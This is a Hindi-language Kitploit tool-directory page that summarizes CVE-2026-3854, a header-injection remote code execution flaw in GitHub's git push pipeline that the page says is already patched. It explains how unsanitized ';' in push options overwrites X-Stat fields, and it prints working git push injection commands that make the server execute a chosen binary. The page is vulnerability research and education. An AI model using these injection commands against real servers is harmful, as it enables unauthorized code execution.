Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-3854 — # CVE-2026-3854 का तकनीकी विश्लेषण: git push में हेडर इंजेक्शन के माध्यम से GitHub RCE यह CVE-2026-3854 का तकनीकी विश्लेषण है, जो git push में हेडर इंजेक्शन के माध्यम से GitHub पर रिमोट कोड एक्ज़ीक्यूशन (RCE) है, जिसमें भेद्यता, शोषण तकनीक और शमन उपायों की व्याख्या की गई है। | Kitploit
उपकरण/GitHubGitHub/5kr1pt/cve-2026-3854
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेपर और शोधलर्निंग और शिक्षा
GitHub5kr1pt/cve-2026-3854

CVE-2026-3854

# CVE-2026-3854 का तकनीकी विश्लेषण: git push में हेडर इंजेक्शन के माध्यम से GitHub RCE यह CVE-2026-3854 का तकनीकी विश्लेषण है, जो git push में हेडर इंजेक्शन के माध्यम से GitHub पर रिमोट कोड एक्ज़ीक्यूशन (RCE) है, जिसमें भेद्यता, शोषण तकनीक और शमन उपायों की व्याख्या की गई है।

रिपॉजिटरी देखें
4 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-3854: GitHub में X-Stat हेडर इंजेक्शन के माध्यम से RCE

Wiz Research द्वारा GitHub.com और GitHub Enterprise Server के आंतरिक git push पाइपलाइन में खोजी गई भेद्यता कैसे काम करती है, इसका व्यावहारिक सारांश।

चेतावनी

यह सामग्री शैक्षिक उद्देश्यों और आक्रामक सुरक्षा अनुसंधान के लिए है। यह भेद्यता GitHub द्वारा सभी समर्थित संस्करणों में पहले ही ठीक कर दी गई है। उन वातावरणों के विरुद्ध इसे दोहराने का प्रयास न करें जो आपके नहीं हैं या जिनके लिए आपके पास परीक्षण करने की स्पष्ट लिखित अनुमति नहीं है। सिस्टम तक अनधिकृत पहुँच ब्राज़ील में एक अपराध है (कानून 12.737/2012, जिसे कैरोलिना डाइकमैन कानून के रूप में जाना जाता है) और कंप्यूटर डिवाइस पर आक्रमण माना जा सकता है, जिसके लिए हिरासत की सज़ा हो सकती है।

सारांश का सारांश

प्रमाणित हमलावर git push -o में ; भेजकर GitHub पर RCE प्राप्त कर सकता है। babeld (GitHub का आंतरिक प्रॉक्सी, सभी SSH का प्रवेश बिंदु) सैनिटाइज़ नहीं करता है, और ; आंतरिक X-Stat हेडर को तोड़ देता है, सुरक्षा फ़ील्ड को अधिलेखित कर देता है जिन पर gitrpcd आँख बंद करके भरोसा करता है। 3 अधिलेखन (rails_env, custom_hooks_dir, repo_pre_receive_hooks) के साथ, pre-receive हुक सर्वर से एक मनमाना बाइनरी को git उपयोगकर्ता के रूप में जोड़कर निष्पादित करता है।

यह कैसे काम करता है

image

मूल रूप से हम X-Stat हेडर में लिख सकते हैं क्योंकि git push में ; का सैनिटाइज़ेशन नहीं होता है, और हम इसे लक्षित सर्वर के पथ की ओर इशारा करके करते हैं, उदाहरण के लिए /bin, और फिर हम इसे उस हेडर के दूसरे "फ़ील्ड", repo_pre_receive_hooks के साथ जोड़ सकते हैं। इसके साथ, यदि वह फ़ील्ड whoami है, तो कॉन्कैट में /bin/ + whoami होगा और यह सीधे सर्वर पर निष्पादित होगा।

लेकिन डिफ़ॉल्ट रूप से X-Stat में ये सभी फ़ील्ड पहले से ही babeld द्वारा भरे हुए आते हैं, क्योंकि RPC (gitrpcd) पढ़ने के लिए उस पर आँख बंद करके भरोसा करता है, क्योंकि उसे विश्वास है कि उपयोगकर्ता इसे बदल नहीं सकता है:

नीचे एक उदाहरण है कि babeld X-Stats में फ़ील्ड कैसे भरता है:

root@kitploit:~
rails_env=production;
user_id=int:42531;
user_login=paulo.werneck;
repo_id=int:8821;
repo_path=/data/repositories/a/b/cd/ef/12/8821.git;
operator_mode=bool:false;
user_operator_mode=bool:false;
custom_hooks_dir=/data/user/git-hooks;
repo_pre_receive_hooks=[{"id":1,"script":"validate-commit.sh","enforcement":"required"}];
large_blob_rejection_enabled=bool:true;
max_blob_size=int:104857600;
reject_sha_like_refs=bool:true;
push_option_count=int:0

लेकिन क्योंकि यह git push के दौरान ; को सैनिटाइज़ नहीं करता है, आप सीधे उसमें लिख सकते हैं, और इसे पूर्ण बनाने के लिए यह last-write-wins है, अंतिम लिखित मान ही मान्य होता है। इसलिए यदि मैं करता हूँ:

root@kitploit:~
git push -o "x;rails_env=production" -o "x;custom_hooks_dir=/bin" -o "x;repo_pre_receive_hooks=[{\"script\":\"whoami\"}]"

अधिलेखित फ़ील्ड बन जाते हैं:

root@kitploit:~
custom_hooks_dir=/bin
repo_pre_receive_hooks=whoami

(यह उतना सरल नहीं है, जैसा ऊपर के उदाहरण में केवल whoami डालना है। यह वास्तव में एक JSON है, इसलिए यह [{"script":"whoami"}] जैसा कुछ अधिक होगा।)

और फिर, एक भेद्य संस्करण में, यह सर्वर पर whoami बाइनरी निष्पादित करेगा।

लेकिन केवल यही करने से यह अभी भी केवल सैंडबॉक्स में चलेगा। इसलिए X-Stats हेडर में एक और पैरामीटर बदलना महत्वपूर्ण है, rails_env=production। इसे production के अलावा कुछ भी होना चाहिए।

अंत में, दुर्भावनापूर्ण स्क्रिप्ट इस प्रकार होगी:

root@kitploit:~
git push -o "x;rails_env=development" -o "x;custom_hooks_dir=/bin" -o "x;repo_pre_receive_hooks=[{\"script\":\"whoami\"}]"

संदर्भ

  • GitHub RCE Vulnerability: CVE-2026-3854 Breakdown - Wiz Blog
  • Securing the git push pipeline - GitHub Security Blog
टूल डाउनलोड करें